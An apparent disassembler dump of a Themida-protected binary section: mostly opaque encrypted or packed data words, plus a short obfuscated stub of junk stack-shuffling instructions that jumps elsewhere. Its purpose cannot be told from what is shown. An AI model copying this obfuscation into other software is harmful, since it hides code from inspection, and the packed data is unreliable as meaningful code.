		dd 80255C15h, 359FFE0Eh, 0B43BFE06h, 7D4416E5h,	17D4B188h
		dd 24F3E02Dh, 0D5F8D980h, 91685D32h, 0A3032C46h, 45400FEDh
		dd 2B2906F8h, 80A3B819h, 9F91665Bh, 0D1A077C2h,	52ECC5FFh
		dd 9A64F165h, 7D000001h, 0D05DCD0h, 344A6D3Ch, 0C0918936h
		dd 727B9E75h, 0A48E6BF9h, 8C38DF88h, 6C3A081h, 2AB9CF1Ch
		dd 0C4E7C880h, 0B9C00F21h, 4C75802Ah, 0CC7936F4h, 0A9F600D7h
		dd 0AA802AB9h, 8E9DA6C9h, 0B3CFB996h, 528631CCh, 0F5E79471h
		dd 1F8CD18h, 123C5F2Eh,	347F564Bh, 0A3956A5Fh, 2E03F9C6h
		dd 49E28D5Fh, 9014FEDBh, 0F28C38E7h, 0F7479814h, 81A44EF2h
		dd 25378263h, 802A0ED4h, 2AE040A9h, 8BAE8B7Dh, 69A61AF3h
		dd 5292F1h, 62CA0000h, 0C17E5BC9h, 0CCCD1A04h, 0E5C68631h
		dd 148BB1E7h, 86A96417h, 38750824h, 0D520018Ch,	0FC4933F0h
		dd 0FD802A54h, 4697F91Ch, 40802A55h, 5429744Bh,	0C7BD8A5Dh
		dd 0D8C2A7F2h, 802A548Bh, 42CBAB8Ch, 0DF483AE2h, 0EF8D6687h
		dd 0A005F169h, 3D000000h, 744B5146h, 0CB0FDB32h, 0CEA3EEBDh
		dd 0E3B803D8h, 0F7CC17EEh, 82592B02h, 0BC07E2D5h, 4918F5E7h
		dd 0AF40C426h, 3D328631h, 0BD9466h, 31A6C916h, 0C6E9CA86h
		dd 0D9B6AEBDh, 3B51CBEFh, 0CE9CA8Ch, 0C294695Fh, 0FCF90DEBh
		dd 8EC10B58h, 0FFFDD247h, 6A8D42D7h, 0C37A4F45h, 0A3F8C231h
		dd 47A2EC79h, 36000004h, 0D59C6E3Dh, 72390BDEh,	10D7A97Ah
		dd 0A86F411Eh, 390BDDB2h, 0B98E84F8h, 522D20E7h, 0ECC5B980h
		dd 875E531Ah, 755F9CB5h, 8024E028h, 46E2E021h, 0E2A97B50h
		dd 4E2118EDh, 46F5AD7Fh, 5A2F7A51h, 49968065h, 4A8631CDh
		dd 0F1C89A69h, 0CCFD4A34h, 0F8EF8631h, 5B7E5F25h, 4CB80945h
		dd 24758632h, 3A86314Dh, 6C563331h, 8C3E3272h, 8FD1F2D0h
		dd 0FDC4734Ch, 0E3CDBCDAh, 80256B96h, 0B7D27F8Fh, 0DAC32855h
		dd 0CF13C0Bh, 75840E2Eh, 8F8284D2h, 0C39269B4h,	9FB024C5h
		dd 95B8772Eh, 0A8859F8Ch, 2C9A52BEh, 7B321386h,	9DFA6D83h
		dd 9364AE3Bh, 82000003h, 21E8BA89h, 0BE85572Ah,	5C23F5C6h
		dd 0F4BB8D6Ah, 855729FEh, 5DAD044h, 9E796C33h, 381105CCh
		dd 0D3AA9F66h, 0C1ABE801h, 8024DF74h, 36363475h, 0CD428F79h
		dd 62438631h, 4E251A3Fh, 9C3D9371h, 3D45ABA0h, 0E592771Ah
		dd 0F8CF1AEFh, 0E4BBB0D5h, 52C46712h, 30E51B68h, 6C3B1C86h
		dd 0FF21A58Fh, 39188C37h, 0A79F6C45h, 0D7BC07D6h, 0DAE3301Ah
		dd 3E48029h, 0DB2D7EE0h, 99028029h, 72472049h, 51BFF169h
		dd 0F7000000h, 428F7936h, 438631CDh, 9E093F33h,	4615577Fh
		dd 0FF377848h, 94B75E2Dh, 0A784E08Bh, 15B300EAh, 0C5B48631h
		dd 31158EDBh, 0D7A68786h, 79957FB4h, 108C3827h,	81D2E42Fh
		dd 56802A26h, 9B7495EDh, 13F169C1h, 0FEh, 0B28B7F2Ch, 576D9067h
		dd 0C24B5146h, 64AE3D0Ch, 754A9564h, 7A5FAA7Fh,	3654BB9Ch
		dd 0E609A77Bh, 0AAF5CCC1h, 3709E0D5h, 319BAF33h, 0D3AA9F86h
		dd 70453A01h, 8CD7A679h, 0EFCC58D3h, 0B6938532h, 2499B8h
		dd 0DD002356h, 385AAB7Bh, 0EA9AAA8Ch, 9917712Ch, 48F5D2A1h
		dd 5A317C53h, 0C9620D37h, 6A947E5Bh, 1F8633E7h,	0B683613Eh
		dd 47F43956h, 0DDCB3A8h, 1AF8B5EAh, 1B2E52Bh, 0BE9B8D9Eh
		dd 0AACD9C73h, 0DDBA8F85h, 5DE93620h, 9EA8623h,	2772453Ch
		dd 3C032D50h, 4EBA7146h, 849DFD67h, 21CADF7h, 120B0000h
		dd 0B3AA7143h, 4F470EE0h, 0F3E5AC7Eh, 877D4416h, 0CD0EE0B2h
		dd 0BC8E6359h, 552702F5h, 0EFC19A8Eh, 8A5C3328h, 0FD4A3471h
		dd 0F68024DDh, 5046B7B5h, 0F4D2A97Bh, 0C95720F8h, 33587BF7h
		dd 0BE95673Eh, 0F9441D11h, 9FDD2A14h, 0F5D68631h, 0DD452826h
		dd 0F2A43CC4h, 0C962B9CFh, 0DDD17E5Bh, 0BFE2B904h, 2610CD8Ah
		dd 8631CCD9h, 74D6F9DAh, 8C38DE58h, 0F3055031h,	802ABBA2h
		dd 3923E077h, 802ABBECh, 452F0CEDh, 802ABBF8h, 0E6ED10F1h
		dd 56946D9Eh, 0CA77F16Ah, 0B704EED7h, 0B0802AC7h, 3DDD00CFh
		dd 0EAh, 0DEB5A956h, 0F94413E8h, 46E9FF22h, 4A2F7A51h
		dd 9B2696Ch, 31C9D21Fh,	0F4F2D386h, 0E31D79Fh, 2610F3E9h
		dd 86319ED9h, 0DF2AF9DAh, 805B4DFAh, 9AE5B48Bh,	0BA3EA0C3h
		dd 0B48631A3h, 4F16E8BFh, 0A893855Ah, 31A271BEh, 0C2917286h
		dd 86D1A077h, 0E9C65ECDh, 38D22FFFh, 9339178Ch,	15F81616h
		dd 6849678Ah, 0E440EB96h, 0AA9D4A07h, 0C14AACCFh, 9B8633B8h
		dd 25A8BEBDh, 0C1E4CD4Eh, 0FACDC4A3h, 0ABA14E2Bh, 0E491DEC8h
		dd 0B1928622h, 4C1BECE4h, 7BC5A37Ah, 0D4BEF6F7h, 3C876456h
		dd 0D7C99665h, 0BCB2D7FAh, 47E230E7h, 77049DFDh, 0C52Dh
		dd 0ECBBB400h, 895C531Ah, 27F8F0B7h, 0BF9C8E55h, 5B3026EDh
		dd 276B789h, 9E65370Ch,	37FED0ABh, 0D1986A43h, 1A3305DCh
		dd 0DCA6F3DDh, 5E9F8024h, 7B504660h, 16EDE2A9h,	51468C44h
		dd 9D4A2F7Ah, 8CB1D4A5h, 43EEC097h, 755F3C28h, 8C3EB277h
		dd 44190EBBh, 61AC7B4Ch, 6849678Ah, 4D53481Dh, 4ADB3F78h
		dd 7E4D6EDh, 0D0976938h, 3D0E06DBh, 0F0E4916Eh,	0E4D21F09h
		dd 0F2D38024h, 4B5D0023h, 88F573B4h, 4994675Eh,	60AB7C74h
		dd 0F2C5BC89h, 3E0D2A7h, 0EFAFF7C6h, 0C47ACACBh, 1F35C9CFh
		dd 1B096594h, 0BEB37A4Ch, 0D5C79CE7h, 6B68ADF8h, 0CCEFCCBEh
		dd 0CABF7DC5h, 655A21F3h, 3F9438Eh, 21000000h, 4D466767h
		dd 695E337Eh, 7E724792h, 92855AA5h, 0A1976CB7h,	0B6AC81CCh
		dd 0CFC196E1h, 0DAD2A7F2h, 0F2E9BE09h, 5088D41Fh, 405E089h
		dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh,	81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 344157A4h
		mov	ebx, 0D1CB8E16h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	49F2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	1072h
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_550968
; ---------------------------------------------------------------------------
a1Agz		db 'х1=═gz',0
		db 3Ch,	13h, 29h
		dd 0F17CB81Bh, 0C503060Ch, 5E85E0FFh, 43EB6F65h, 0E1456DEh
		dd 0B94C0368h, 9D7CFFh,	42B25E22h, 373819C4h, 9A7B0AE4h
		dd 67AD2C64h, 0FEDE081Bh, 647718FDh, 4C720B95h,	7C336A6Ch
		dd 0C1333958h, 70822581h, 4E316A7Dh, 5B776D56h,	0D1EF7F19h
		dd 319755B6h, 5FC16784h, 5D90105h, 91B51887h, 0AF973ED5h
		dd 198705FAh, 315F573Ch, 39CF116Fh, 9DDB6D85h
		db 3Ch,	37h
word_59BA4E	dw 8D8Dh		; DATA XREF: Themida_:0053E288o
		dd 60CF344h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D1C35343h, 0BE9h, 0A6D19500h, 0D61E61A9h, 0E68545Eh
		dd 1AD98D89h, 958B0607h, 6070AB9h, 101D85C7h, 6BC00607h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BB66BCC3h, 8501B595h, 6071AC9h, 330585C7h
		dd 607h, 9D0B0000h, 6072C89h, 0BE9B5FFh, 85290607h, 6072C81h
		dd 185995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DB6259C3h, 95FF006Ah, 6070D69h
		dd 5EEBC08Bh, 12F24723h, 5C5FDE05h, 0E4D5F0D4h,	3840BE91h
		dd 66805B19h, 8ACE7103h, 696A609Bh, 19113B64h, 795630D2h
		dd 18989307h, 143080B5h, 9C6AD33h, 1DD51B43h, 5FB824F0h
		dd 0F0C331B6h, 8988D96Ah, 82CE791Fh, 86DFAAFEh,	0F33A5103h
		dd 0D34F6526h, 2A973238h, 0ADDD06DFh, 1DD01140h, 0DE872DDh
		dd 9C000000h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch,	0CE8h
		dd 0D5F81900h, 0F15CEA5Ch, 474AC343h, 7E833h, 0C6580000h
		dd 0A689D1CEh, 51ABBA11h, 5B5F46C3h, 8B0F5Eh, 81000000h
		dd 5D93C6h, 0F88B5700h,	0F0F6B85Bh, 0C0811DABh,	0E2542636h
		dd 47FAD381h, 0E8B78C3h, 0AE857h, 66B80000h, 0AF83E58Bh
		dd 35C2FE6Ah, 14C58D89h, 5F5F0607h, 0FF4EC181h,	6DBB1CBAh
		dd 8116E74Dh, 6EAFCCE9h, 9503605Ah, 607202Dh, 8161DE8Bh
		dd 265449F1h, 89DA8B76h, 13E80Eh, 90BC0000h, 0BFCC8477h
		dd 0CFD53D44h, 7D52E271h, 5987417Ch, 0F98B6611h, 3EE835Bh
		dd 4EDBBF0Fh, 8FAEF281h, 0E8811AF3h, 1,	0D850Fh, 1BE90000h
		dd 4000000h, 5DB30E3Eh,	0F929EE7h, 77E9DAB7h, 0BFFFFFFh
		dd 91548D64h, 0D2976ACEh, 8D8D8D8Eh, 60CF530h, 13E9h, 0BC640C00h
		dd 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h, 0A2DBD8Bh
		dd 8D890607h, 6071AD9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0FDC35242h, 0F7543B39h, 1D85C7E9h, 3C060710h
		dd 8B000073h, 585C7D8h,	60733h,	66000000h, 0B5FFD08Bh
		dd 6070469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	75C35545h, 5326395Eh, 0FF8BA490h, 7185995h, 0FA8B6606h
		dd 95FF006Ah, 6070D69h,	48EBC08Bh, 8F2EB188h, 0F6F79Bh
		dd 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h, 837FD023h
		dd 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h,	0E35F8B90h
		dd 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h, 0C8790131h
		dd 28B634C0h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h,	0B2979FABh
		dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
		dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
		dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h,	0FD91A7h
		dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h
		dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h
		dd 0CB73E2ADh, 0E939BFAEh, 105Ch, 0CF7E368h, 877DE906h
		dd 568FFFAh, 0E9060CF9h, 0FFFA8773h, 0CF9FD68h,	8769E906h
		dd 6F68FFFAh, 0E9060CFBh, 0FFFA875Fh, 0CFC0C68h, 8755E906h
		dd 0C968FFFAh, 0E9060CFCh, 0FFFA874Bh, 0CFD9268h, 8741E906h
		dd 6A68FFFAh, 0E9060CFEh, 0FFFA8737h, 0CFF5B68h, 872DE906h
		dd 1168FFFAh, 0E9060D00h, 0FFFA8723h, 0D016568h, 8719E906h
		dd 0A068FFFAh, 0E9060D03h, 0FFFA870Fh, 0D04A768h, 8705E906h
		dd 7CADFFFAh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh
		dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h
		dd 0D142309Eh, 1C4396FCh, 0FC2C3305h, 9C44BAA1h, 53F47D2Ch
		dd 6DF525ACh, 0A36C0E7Fh, 1D865949h, 0A710924Eh, 61F6970Ah
		dd 82181098h, 0A283EA94h, 2BD2A547h, 8EFFED9Dh,	0D9439C53h
		dd 69D61C06h, 96439C53h, 726365B3h, 541FB65Bh, 36DD78ABh
		dd 49DC0E9Dh, 256B5Fh, 0ACF0000h, 6F48A82h, 47A30184h
		dd 27BEEEAFh, 9F46E780h, 9CE166D3h, 66B09343h, 0B5D17560h
		dd 12E671Fh, 2CCB0000h,	3BC269FCh, 3FC66D08h, 5FE2780Fh
		dd 3D50B38Eh, 0ACFC65A3h, 0C902AC71h, 0A027402Ah, 4230E070h
		dd 49A336D1h, 475491Ch,	4F49A336h, 26C1ED7Ch, 4E04F085h
		dd 0DB49A333h, 1C8D7B2Bh, 6749A332h, 324FC094h,	0D99A49A3h
		dd 0D26B12ADh, 16464731h, 1343EA7Fh, 9C24CD74h,	0A011FFAFh
		dd 0EB49A332h, 32D34418h, 0E41749A3h, 8911AA51h, 3262D3C1h
		dd 0DAAD49A3h, 14029839h, 47A243DAh, 440DA275h,	7E2EC4BCh
		dd 9C131F90h, 95306343h, 0FACD55EEh, 6D1A0810h,	2A419476h
		dd 0CB34E81h, 0BC8F8973h, 17887626h, 623D9266h,	0F49DA58Fh
		dd 0F49B30C1h, 5A5A30C1h, 58F07F28h, 0DD4A829h,	18490000h
		dd 1541E87Dh, 103EE57Ah, 0A39E075h, 33DA6Fh, 1D35D065h
		dd 1962F62h, 0FB902D5Ah, 0FA8F2254h, 0EF842353h, 55C6B422h
		dd 0A04396FBh, 0A225B789h, 82B2F1A6h, 6445AE1Eh, 69DAE621h
		dd 184B4C36h, 3E64E77Dh, 6DA30ED3h, 0EC9AA18Bh,	1BDD4E3Ch
		dd 552849A3h, 0A63A6A6Bh, 0A31B47B8h, 30BF9249h, 28C16801h
		dd 9B44F287h, 17E3CD68h, 0D9F27525h, 8A1BBD60h,	0FEFE6F43h
		dd 764949A2h, 0E9E1698Ch, 2F20A353h, 744A174Fh,	1294DAC4h
		dd 3D47A215h, 96DEB2A2h, 0C5664BAAh, 39E5521Eh,	2F12439Ch
		dd 11AD30E1h, 0EED37151h, 29BCEC7Bh, 27EFE63Fh,	0B4ED1FB6h
		dd 51000000h, 8674FC2Ch, 49A3F215h, 45EC8D60h, 0DF0C8BBEh
		dd 23119F46h, 49A3F2B2h, 0E8892AFDh, 0EEBF7541h, 235349A3h
		dd 2AD16496h, 0B45BF091h, 0BC4AF184h, 5D0A539h,	29134E3Bh
		dd 0F0867E06h, 0A23DC802h, 0FB906347h, 1CB2AA32h, 9473262Eh
		dd 0F48A5D41h, 947E194Bh, 15B0E38Ch, 0BA6D980h,	7F2B8B35h
		dd 870837F0h, 0CB2h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch
		dd 0B84DE817h, 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h
		dd 535DC71h, 0A210DD72h, 96F943B4h, 0A5778E43h,	0B8497C25h
		dd 79ACDCEh, 79BCB72h, 0A3F2A819h, 532F349h, 8728C168h
		dd 2CDF51E6h, 3BC269FCh, 29D76C0Bh, 0F21A8B79h,	325E49A3h
		dd 0CB53EC93h, 0DF0D0EF8h, 31BB317Ch, 98398109h, 9B3A6AF1h
		dd 7DAF5806h, 0C0AA43EAh, 8B12AD1h, 30533DD8h, 5CCDBBA8h
		dd 0A749A300h, 0AF9D33D4h, 47A20705h, 0A31402B2h, 0E7439BF6h
		dd 0E07920B7h, 0A19B8558h, 0D07947CEh, 51EC1BA4h, 1280C6B0h
		dd 34B215E5h, 301EB4ACh, 4A10D56Eh, 0F69F4619h,	37E0766Eh
		dd 31CA7104h, 0DF8F3F47h, 9A6E0736h, 460AB429h,	0E412A174h
		dd 0A4195F49h, 0BF4404E4h, 81AD56ECh, 0BCA63FE6h, 3CDB0BB4h
		dd 35D000A7h, 0CD0A435Fh, 0C74877F5h, 0BBAh, 0D267FE2Fh
		dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh
		dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah,	96F94BBCh
		dd 0AD7F9643h, 0C269FC2Ch, 11D19119h, 5AD9B908h, 24958319h
		dd 6F49A320h, 0BC65FB9Ch, 0B952F98Ch, 2BD9C7CFh, 0F647A220h
		dd 3DC58E23h, 0FD8C2B57h, 0FF9536D1h, 90A897Ch,	654F02FFh
		dd 70ED6F5Dh, 610A419Bh, 0B5AF9934h, 9031C4F4h,	70B01DE9h
		dd 0C5F43D95h, 0CFFE852Ch, 17E88F36h, 84670D09h, 42A134BAh
		dd 7E2725BDh
		dd 0D7CBB550h, 64h, 8775253Bh, 49A3F216h, 0D772A061h, 0CF69730h
		dd 0D36961E9h, 0B65DF82Ah, 3D2B331Dh, 47A33769h, 6717AD80h
		dd 0D40691BEh, 72F9A041h, 6A03AA43h, 0ACDEDFC9h, 2D988419h
		dd 6D439CA7h, 344AE23Dh, 0B922BBE8h, 9435BDFDh,	0DC347BFEh
		dd 52F41E32h, 88BA6168h, 0AA39CCFFh, 9F38DF7Eh,	0BBD657FEh
		dd 4C00000Ah, 0F48A820Ah, 0DB821D4Bh, 62505842h, 47979C99h
		dd 42EB8154h, 81897312h, 770DA8D8h, 0AB58E1F4h,	0A13AE17Ch
		dd 9B4C7338h, 0D303AAB1h, 5CE48D34h, 0A8E0CE64h, 31418AECh
		dd 4C229381h, 9A6D3D8Ah, 543ED90Bh, 48F1875Ah, 42DB821Bh
		dd 77A75058h, 74A44BE0h, 9913AE1h, 0DF8D7B11h, 9C3B894Ah
		dd 3D27C6F3h, 49A7043h,	0BEEE4E0Ch, 0A480E8Fh, 8CBD0000h
		dd 91BD64F9h, 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h
		dd 8D22B3E6h, 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh
		dd 2C4396F7h, 0A2254315h, 0BF94622h, 49A3339Ah,	73A912E5h
		dd 6BB19B0Eh, 49A37AFEh, 0AA09820h, 0F881B15Ah,	0E58C2DC8h
		dd 2C1C624Ch, 73479726h, 31610AA0h, 31CCF8A1h, 9685EC5Dh
		dd 63FE3043h, 0C89B23BCh, 0BBEB9227h, 44CC751Ch, 0E00DB64Ch
		dd 1B059E45h, 86772513h, 7A424195h, 8F861B8Ch, 493663Dh
		dd 0CAA041D4h, 0F07AC842h, 0AB0081B0h, 20000009h, 1AC156EFh
		dd 13BA4FEEh, 0EB54AE5h, 0AB146DFh, 0EA93ED7h, 6D083BF6h
		dd 690431D8h, 68FB2DD4h, 69FC2CD3h, 0AB9907D4h,	4396F63Ah
		dd 2C9C6E85h, 3BC269FCh, 0E2C56C0Bh, 0CD3E2CDCh, 1849A3F2h
		dd 36005B45h, 0AEBC25B0h, 0CEFAA319h, 3551452Fh, 79000004h
		dd 1A049DD0h, 507C254Eh, 20A8CBB5h, 0C8A49228h,	0EF47979Ch
		dd 2DD6861Ch, 26BF6601h, 7E0B3B3Ch, 7A13BA4Bh, 781FBEEBh
		dd 0F8A83EDFh, 96FC990Ah, 7ECC0343h, 3216FEBAh,	90A40FAAh
		dd 96983ACAh, 5D040BF5h, 27F39A2Dh, 439765BAh, 0C65C54DCh
		dd 6D57EA1Dh, 64C97765h, 0C1944196h, 7D2AB9EBh,	69EA19F0h
		dd 8EEh, 0FE933263h, 0F78C2B57h, 0F2872250h, 0EC811C4Bh
		dd 0EA7F1245h, 497C374Fh, 4F7C23B8h, 487A21B6h,	417118ADh
		dd 0D64411A6h, 96F677E8h, 0D9ABC243h, 0C269FC2Ch, 9C09B134h
		dd 48180C71h, 0F2DC7D18h, 7F26C1F1h, 44F5439Ch,	3DCC6B9Bh
		dd 36CF7611h, 24E2F34Ch, 34E419AFh, 0D62374B1h,	8C606D38h
		dd 49A31E1Bh, 0B5A99366h, 360h,	0F27AE719h, 149C49A3h
		dd 0F298861Ch, 9F47979Ch, 452FC6F6h, 39E2784Bh,	31CA710Ch
		dd 0E68F3F47h, 0DD761DB8h, 5BC2F2F3h, 0EE2DD8B9h, 0E27718A8h
		dd 0D15E8B34h, 0C16809A4h, 0D3D3E28h, 0A22AD37Ah, 54F590BCh
		dd 52E515BEh, 0C4726068h, 8F419618h, 7EB2E6BCh,	0D908F07Dh
		dd 82558h, 0CC699A00h, 0C9649037h, 0C45F8D34h, 0C059882Fh
		dd 0C051842Bh, 0BD78902Bh, 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h
		dd 7946DB7Ah, 0F5AC1D0Bh, 0E0F74396h, 69FC2C0Eh, 0F6A050D3h
		dd 47C3BF48h, 7F522FBCh, 240EAFAAh, 0A5D47D0Bh,	0B5507D0Ch
		dd 8A8B750Eh, 3B9ECD5Ah, 137A040Ch, 0F99A3B98h,	8166F52h
		dd 0AA3B6E17h, 9D6E67C0h, 956C19AFh, 0D0000002h, 0A3F27AE7h
		dd 1C149C49h, 0FE2DD686h, 3923BC63h, 979D58F3h,	962CFF47h
		dd 0FC87F8E6h, 0FFD24396h, 23494396h, 0BFA91E75h, 0E68407B7h
		dd 0CB8E666Bh, 0EF1F200Ah, 2412C258h, 439738B3h, 0FB375B1Dh
		dd 0E0686DA6h, 751C230Dh, 620BB245h, 5E4CE2DAh,	4196310Ch
		dd 53EE20C9h, 2F2913ACh, 5628865Ch, 0A3D2F07Dh,	74D22h
		dd 0F491C200h, 0F18CB85Fh, 0EC87B55Ch, 0E881B057h, 0E879AC53h
		dd 0E5A0B853h, 0E38A1FB2h, 0DB8217B6h, 0D2790EA9h, 0A16E03A2h
		dd 0F4D44533h, 81F4396h, 69FC2C36h, 6C0B3BC2h, 10C753D6h
		dd 0D909AD2Fh, 1C4FD6EFh, 6654E289h, 49A381F5h,	0ABDE6D40h
		dd 1CAF731Ah, 0F3591212h, 0DA811C4Ah, 0DF862153h, 60BBA546h
		dd 9D3868D6h, 84B15A08h, 40A942E9h, 0A4AB6D2Bh,	27806A04h
		dd 19AF3DAEh, 0B1A99518h, 0D33C73C9h, 0DB44E9DAh, 6D578FD7h
		dd 779h, 9532DD00h, 0A8000001h,	0A3F278E7h, 160E9649h
		dd 684DD080h, 0EC5C0ABFh, 0DC6FE0B4h, 0E7BA49A3h, 6D07F5FDh
		dd 8479787h, 0D67D1847h, 5D069C3Dh, 5B049A2Dh, 4FE88F2Eh
		dd 7B05E65h, 53543ED9h,	34DD8423h, 301EB4ACh, 4195FCDEh
		dd 38BFF29Bh, 0E2CC6D08h, 0E73F15E8h, 3F07A82h,	65C53D4h
		dd 0A0D10000h, 9DC97005h, 98C66D02h, 92C168FDh,	88BB62F7h
		dd 0A5BD58EDh, 891EB7EAh, 8318B5E2h, 8217AADCh,	770CABDBh
		dd 0DD4E3CAAh, 284396F3h, 0FC2C3F11h, 0B3BC269h, 5B14C56Ch
		dd 943363CDh, 0BFD500FFh, 70719AEh, 6B000000h, 0EB32h
		dd 77E7A800h, 9549A3F2h, 917F150Dh, 47979CC0h, 7922B88Bh
		dd 9518AE49h, 5D5A30F8h, 14B3E38Ch, 4933D46Dh, 0F6E49442h
		dd 43977185h, 46E10FD0h, 7B65069Fh, 4AB4A7Ah, 0F8E6D35Bh
		dd 43977187h, 5A019CCBh, 0C56639C1h, 87EF412Fh,	29AC4196h
		dd 355798EFh, 0A6D261FBh, 50231D07h, 7DC0207Ah,	22A3D2F0h
		dd 5A6h, 0B64BEA1Bh, 0AF44E30Fh, 0AA3FDA08h, 0A439D403h
		dd 0A237CAFDh, 134EF07h, 734DB70h, 32D96Eh, 0F929D065h
		dd 8EFCC95Eh, 96F22FA0h, 91637A43h
dword_59C800	dd 0C269FC2Ch, 0C56C0B3Bh, 63CD5B14h, 0FF9433h,	19AEBFD5h
					; DATA XREF: Themida_:00561106o
		dd 0E07h, 7C256B00h, 730CB34Eh,	2E8E89h, 2C040000h, 3BC269FCh
		dd 1C56C0Bh, 0EC6FA06Eh, 0AF6E796h, 5B5C461Ch, 4DF68C2Bh
		dd 2FA08E1Eh, 7A49A39Dh, 0C65F06A7h, 2734D5DCh,	0AA000000h
		dd 2C04A225h, 31C1E944h, 91164647h, 841DC45Fh, 74A44DE3h
		dd 0B7A13AE1h, 0BF64D29Eh, 85BE49A3h, 0CA5D8DBBh, 0A225C335h
		dd 0ACD37773h, 0F7F8E256h, 0EA9A30C7h, 0A3E28BFCh, 0E215D649h
		dd 6E0FA84Fh, 3AC26B84h, 0F5BEAC42h, 0B047978Ch, 0EE9747DDh
		dd 1C7D24C1h, 40E7FA67h, 432DCE8Eh, 0DE731242h,	0DA700737h
		dd 0DF586F57h, 0D74037D6h, 2A9235DCh, 132C16C8h, 19ACDC85h
		dd 4977E1B0h, 4A34B9DAh, 8BB99F27h, 0FB049F0h, 7A538B79h
		dd 17EA418Ah, 1FA8D881h, 22B859ECh, 0D9138472h,	8B5E3D89h
		dd 43EC9AA1h, 3AD37A15h, 881F4F50h, 78AA53E1h, 0B85574DDh
		dd 1944E135h, 8C840C2Fh, 345A08F6h, 52253B88h, 4F1ADC7Ch
		dd 0F677A6EEh, 452h, 6AFF96C7h,	63F897C3h, 5EF38EBCh, 58ED88B7h
		dd 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h, 0A5D57C11h
		dd 42B07D12h, 96F1E354h, 45172E43h, 0D469FC2Ch,	0B5507D26h
		dd 8A8B750Eh, 8D14BB5Ah, 7223CA5Dh, 8C41890Ch, 30D8DE49h
		dd 0F35DEB46h, 908F24C3h, 19AF0845h, 5797h, 820AFB00h
		dd 0FEC19AC2h, 0DC7D03D1h, 0D36E9D46h, 0A1A9932Ch, 0A2BDDFB3h
		dd 8D23F647h, 891FB2E4h, 2D7AEBD9h, 0F2C5439Ch,	0AA150108h
		dd 0EA439C2Dh, 3D2B53BAh, 778E17CBh, 0EA9341D6h, 30311BBAh
		dd 24CD63FEh, 2CBA61F4h, 9C0BCD3Eh, 0A4451843h,	9F20A1BAh
		dd 96000003h, 0F48A820Ah, 0D26D9B44h, 834A2E8h,	0C87147A3h
		dd 44E3139Ch, 969BFCA3h, 0A4B1D05Ch, 5C5640E1h,	2B5BE289h
		dd 8E21E58Ch, 6EC7480h,	89E3FD6h, 9B2AAC1Ah, 1240E941h
		dd 4D37D077h, 22EB8053h, 8FA8DA9Ah, 67EDDF20h, 95FE9690h
		dd 0F293AF9Bh, 33006E5Ch, 8A4B3B94h, 821BC25Bh,	80B33AE1h
		dd 8AD33EE5h, 0F0E870BCh, 0BC27AA5Ah, 31959233h, 0EB599F89h
		dd 36358DFCh, 0F727CE63h, 232B960h, 7D05CE63h, 5701EF85h
		dd 42F86E3h, 33665381h,	0A58FB95Fh, 1BBAEAABh, 9A07D37Ah
		dd 0C72B8066h, 41945AE4h, 9B37D248h, 3Bh, 8A820AFFh, 0E55644F4h
		dd 3049A3F1h, 7D6B735Dh, 47A2FFFBh, 0E0AC5326h,	439CDF73h
		dd 0BE73BDA0h, 0DFAF200Eh, 5FFA439Ch, 0C7D91575h, 0BCA64764h
		dd 0B5DE7263h, 0E4681Fh, 2CCC0000h, 2AD369FCh, 5F7862FBh
		dd 650CA5D8h, 0FD29AEDEh, 7335F9Ah, 49EA302Ch, 4A7A01A8h
		dd 3C6C15ABh, 0DA6902A9h, 202711ACh, 0A39D7E34h, 43E21249h
		dd 40D707AEh, 8268F099h, 0FC9BC750h, 7B24BA5Bh,	2E1CB24Dh
		dd 49A39CBDh, 434B3508h, 0A27D6755h, 49DFB247h,	0E66A62C6h
		dd 17AD2561h, 9CD3B829h, 46300343h, 0F6EE763Fh,	0DB07B060h
		dd 0DB0E953Ch, 690AA34Ah, 6B12ABDAh, 12A2E8D2h,	59419535h
		dd 1447F086h, 8E3EEC81h, 93252FA0h, 0BDA77A3Dh,	22F889BCh
